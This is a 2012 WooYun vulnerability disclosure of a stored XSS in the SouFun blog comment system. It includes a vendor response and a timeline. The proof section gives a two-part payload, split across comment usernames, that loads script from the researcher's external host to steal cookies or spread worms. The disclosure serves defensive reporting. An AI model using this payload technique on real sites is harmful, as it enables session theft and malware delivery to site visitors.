当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015033

漏洞标题:搜房网博客系统严重存储型XSS

相关厂商:搜房网

漏洞作者: Rkit

提交时间:2012-11-21 12:28

修复时间:2013-01-05 12:29

公开时间:2013-01-05 12:29

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-21: 细节已通知厂商并且等待厂商处理中
2012-11-21: 厂商已经确认,细节仅向厂商公开
2012-12-01: 细节向核心白帽子及相关领域专家公开
2012-12-11: 细节向普通白帽子公开
2012-12-21: 细节向实习白帽子公开
2013-01-05: 细节向公众公开

简要描述:

搜房网博客系统,http://blog.soufun.com 存在严重XSS, 可在用户博客首页插入XSS代码。轻则可导致对单一博客获取COOKIE或者挂马,重则可以编写XSS蠕虫传播。

详细说明:

1. 漏洞出现在评论发表的用户名及博文标题处,用户名经过研究,可以利用。
2. 找一个博客用户,为了不影响其他用户,这里我注册了一个http://blog.soufun.com/rkit 。
3. 随便进入一篇博文的详细页面,在评论处的用户名处,输入特殊字符,如',",>,<,等进行判断,未被过滤。
4. 在构造利用代码的过程中,有几点限制:
1> 用户名长度限制不能超过20个字符。
2> 单纯的<script 不会过滤,但如果加入右尖括号,整个代码将被过滤。
5. 经过研究,最少可以发表两条评论即可利用成功。证明见下。

漏洞证明:

1. 用指定用户名发表评论,用户名: "src=http://rkit.cn?
2. 用指定用户名发表评论,用户名: <script a="
3. 到此,此片段的html代码为:

123.jpg


4. 访问博文:

1231.jpg


5. 因为最新评论会更新在博客首页,所以首页也会受影响。

1232.jpg


危害;
1. 只需要更改rkit.cn上面的JS代码,即可完成挂马,蠕虫传播等行为。
2. 由于是匿名发表,所以可以针对任何博客进行攻击。

修复方案:

1. 完善过滤

版权声明:转载请注明来源 Rkit@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-11-21 13:22

厂商回复:

立刻修复

最新状态:

暂无